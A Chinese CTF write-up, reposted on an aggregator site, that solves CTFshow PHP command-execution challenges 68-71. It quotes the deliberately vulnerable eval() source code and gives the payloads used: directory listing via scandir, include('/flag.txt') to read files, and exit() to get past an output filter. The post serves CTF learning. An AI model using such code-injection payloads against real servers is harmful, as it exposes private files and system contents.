CTFshow web(php命令执行 68-71)

                                                                       web68

         

还是那句话,没看到flag在哪,那就优先找到flag位置

这里c=var_dump(scandir("/"));

直接输出根目录的位置,然后查看源代码,发现flag位置为flag.txt

知道flag在根目录下面的flag.txt直接访问就好了

c=include('/flag.txt');

                                                                        web69

payload:c=include('/flag.txt');

上题payload没有禁用,直接白嫖!

                                                                        web70

payload:c=include('/flag.txt');

上题payload没有禁用,直接白嫖!

                                                                        web71

首先拿到一串代码

<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>

代码审计:

  • 使用 ob_get_contents() 和 ob_end_clean() 函数获取并清除输出缓冲区中的内容。这是为了捕获执行命令后的结果,并将其传递给 preg_replace() 函数进行处理。

  • 使用 preg_replace("/[0-9]|[a-z]/i","?",$s) 将输出结果中的数字和小写字母替换为 ?,然后将结果进行输出。    

ps:害怕小白不懂,解释下。缓冲区(Buffer)是计算机系统中的一块内存区域,用于临时存储数据。它可以在数据传输之间起到缓冲和调节作用,以提高数据传输的效率或解决传输速度不匹配的问题。

先把上题payload看看能不能白嫖啊

c=include('/flag.txt');

好小子,看来你是要上天啊!

根据代码审计结果,既然会把输出结果中的数字和小写字母替换为 ?

那不用缓冲区不就好了!

最后加一个exit();

c=include('/flag.txt');exit();

真诚希望我的文章能够帮助大家,谢谢!过年写下这篇文章总觉得还得加上一句:

祝愿大家龙年吉祥!                          

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/467398.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【北邮鲁鹏老师计算机视觉课程笔记】07 Local feature-Blob detection

【北邮鲁鹏老师计算机视觉课程笔记】07 Local feature-Blob detection 1 实现尺度不变性 不管多近多远&#xff0c;多大多小都能检测出来 找到一个函数&#xff0c;实现尺度的选择特性 2 高斯偏导模版求边缘 做卷积 3 高斯二阶导拉普拉斯 看哪个信号能产生最大响应 高斯…

营销平台分享

上面几个阶段的用户分别是新用户、未激活用户、活跃用户、沉默用户、流失用户&#xff0c;具体流转关系如下图所示。 新用户如果长时间没有下单就变成了未激活用户&#xff0c;新用户如果有下单就变成了活跃用户&#xff0c;活跃用户如果隔一段时间没有下单就变成了沉默用户&a…

鸿蒙小案例-你画我猜

鸿蒙小案例-你画我猜 1.准备组件(组件布局) 2.实现跟随鼠标画笔画出图案功能 3.实现复制上面的画笔的图案功能 4.其他小功能1.组件的准备 画布的组件官方给的API是Canvas&#xff0c;需要传递一个参数CanvasRenderingContext2D 直接搜索API 使用官方案例 private settings: …

2.12.。

1、选择芯片型号——STM32F051K8 2、开启调试功能 3、配置时钟 4、配置时钟树 5、工程管理

LeetCode:70.爬楼梯

前言&#xff1a;好家伙&#xff0c;一直以为动态规划是啥高大上的&#xff0c;解释那么多&#xff0c;在我看来不过是找规律罢了&#xff0c; 写那么多"专业术语"咋看咋像糊弄人的 (手动扶额) 另外&#xff0c;通项公式虽然抽象还能接受&#xff0c;但是矩阵快速幂…

接口测试06 -- pytest接口自动化封装Loggin实战

1. 接口关键字封装 1.1 基本概念 接口关键字封装是指:将接口测试过程中常用的操作、验证封装成可复用的关键字(或称为函数、方法),以提高测试代码的可维护性和可复用性。 1.2 常见的接口关键字封装方式 1. 发送请求:封装一个函数,接受参数如请求方法、URL、请求头、请求…

游泳耳机排行榜前十名,精选四款热门游泳耳机排行榜品牌推荐

游泳&#xff0c;一项被誉为“最全面的运动”的健身方式。无论是对于年轻人还是中老年人&#xff0c;无论体重大小&#xff0c;游泳都能带来无与伦比的益处。在水中的阻力是地面上的十二倍&#xff0c;这使得游泳成为了一种全身性的锻炼方式&#xff0c;能够让身体的每一块肌肉…

宽带高效非对称连续J/F-1模式Doherty 功率放大器设计(2023.11 MTT)-从理论到ADS版图

宽带高效非对称连续J/F-1模式Doherty 功率放大器设计(2023.11 MTT)-从理论到ADS版图 这个文章实现的效果非常好&#xff0c;非常值得大家去阅读复现&#xff08;见前言介绍&#xff09;&#xff0c;但是我复现出现了一点困难&#xff0c;效果调不到那么好&#xff08;带宽只是…

【教程】最新使用Shamrock搭建QQ机器人

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhang.cn] 背景介绍 官方原版Shamrock的作者已经删库跑路了&#xff0c;所以我们使用这个&#xff1a;OpenShamrock 文档在这里&#xff0c;但访问可能需要点魔法&#xff1a;快速开始指南 步骤也简单&#xff0c;这里以无R…

【在Linux世界中追寻伟大的One Piece】Linux是从哪里来的?又是怎么发展的?基本指令你知道哪些?

目录 1 -> Linux背景 1.1 -> Linux发展史 1.1.1 -> UNIX发展历史 1.1.2 -> Linux发展历史 1.2 -> 开源 1.3 -> 官网 1.4 -> 企业应用现状 1.5 -> 发行版本 1.6 -> OS概念&#xff0c;定位 2 -> Linux下基本指令 2.1 -> Is指令 2…

假期作业 10

1.整理磁盘操作的完整流程&#xff0c;如何接入虚拟机&#xff0c;是否成功识别&#xff0c;对磁盘分区工具的使用&#xff0c;格式化&#xff0c;挂载以及取消挂载 U盘接入虚拟机 在虚拟机--->可移动设备--->找到U盘---->连接 检测U盘是否被虚拟机识别 ls /dev/s…

Solidworks:从草图到工程图纸,掌握正确的工作流程

1. 草图不及太在意构造线和尺寸标注的美观性&#xff0c;只要确保模型尺寸正确即可 因为草图不是最终输出的&#xff0c;这个阶段的工作重点是建立尺寸正确的实体模型&#xff0c;所以不要在意构造线和尺寸标注是否美观。 2. 工程图纸中标注尽量按照操作提示放置位置 工程图…